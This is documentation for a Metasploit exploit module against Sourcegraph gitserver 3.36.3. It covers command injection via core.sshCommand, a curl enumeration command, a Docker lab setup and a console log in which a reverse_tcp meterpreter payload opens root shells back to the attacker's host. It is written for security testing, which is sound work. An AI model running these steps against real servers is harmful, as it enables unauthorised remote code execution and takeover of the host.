## Vulnerable Application

A vulnerability exists within Sourcegraph's gitserver component that allows a remote attacker to execute
arbitrary OS commands by modifying the core.sshCommand value within the git configuration. This command can
then be triggered on demand by executing a git push operation. The vulnerability was patched by introducing a
feature flag in version 3.37.0. This flag must be enabled for the protections to be in place which filter the
commands that are able to be executed through the git exec REST API.

The cloned repositories can be enumerated from the `/list` endpoint using the curl command:
`curl http://$target:3178/list?cloned=true`

## Verification Steps
Example steps in this format (is also in the PR):

1. Install the application (see detailed Docker Installation section below)
2. Start msfconsole
3. Do: `use exploits/linux/http/sourcegraph_gitserver_sshcmd`
4. Set the `RHOSTS`, `PAYLOAD` and any payload related options that are necessary
5. Do: `run`

### Docker Installation
1. Run the following command to start the all-inclusive docker container for Sourcegraph v3.36.3.

    ```
    docker run \
      --publish 3178:3178 \
      --publish 7080:7080 \
      --publish 127.0.0.1:3370:3370 \
      --rm \
      --volume /tmp/sourcegraph/config:/etc/sourcegraph \
      --volume /tmp/sourcegraph/data:/var/opt/sourcegraph \
      sourcegraph/server:3.36.3
    ```
2. Once the service has started, navigate to the webinterface at http://localhost:7080
3. When prompted, create an administrator's account
4. At least one git repository must be added, complete the following steps to add one.
    1. Navigate to `Repositories > Managed code hosts`
    2. Select "Generic Git host"
    3. When prompted, use the following example JSON code to clone Metasploit.

        ```
        {
          "url": "https://github.com/",
          "repos": [
            "rapid7/metasploit-framework.git"
          ]
        }
       ```

## Options

### EXISTING_REPO

An existing, cloned repository. If this value is not set, a random one will be selected from the server.

## Scenarios

### Docker v3.36.3

```
msf > use exploit/linux/http/sourcegraph_gitserver_sshcmd
[*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp
msf exploit(linux/http/sourcegraph_gitserver_sshcmd) > set RHOSTS 192.168.159.128
RHOSTS => 192.168.159.128
msf exploit(linux/http/sourcegraph_gitserver_sshcmd) > set TARGET Unix\ Command 
TARGET => Unix Command
msf exploit(linux/http/sourcegraph_gitserver_sshcmd) > set PAYLOAD cmd/unix/python/meterpreter/reverse_tcp
PAYLOAD => cmd/unix/python/meterpreter/reverse_tcp
msf exploit(linux/http/sourcegraph_gitserver_sshcmd) > set LHOST 192.168.250.134
LHOST => 192.168.250.134
msf exploit(linux/http/sourcegraph_gitserver_sshcmd) > check
[+] 192.168.159.128:3178 - The target is vulnerable. Successfully set core.sshCommand.
msf exploit(linux/http/sourcegraph_gitserver_sshcmd) > exploit

[*] Started reverse TCP handler on 192.168.250.134:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Successfully set core.sshCommand.
[*] Using automatically identified repository: github.com/zerosteiner/gh-sandbox
[*] Executing Unix Command target
[*] Sending stage (40168 bytes) to 172.17.0.2
[*] Sending stage (40168 bytes) to 172.17.0.2
[*] Meterpreter session 1 opened (192.168.250.134:4444 -> 172.17.0.2:59116) at 2022-07-08 17:23:15 -0400
[*] Meterpreter session 2 opened (192.168.250.134:4444 -> 172.17.0.2:59124) at 2022-07-08 17:23:15 -0400

meterpreter > 
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer        : caab8e904df4
OS              : Linux 5.17.12-100.fc34.x86_64 #1 SMP PREEMPT Mon May 30 17:47:02 UTC 2022
Architecture    : x64
System Language : en_US
Meterpreter     : python/linux
meterpreter > 
```
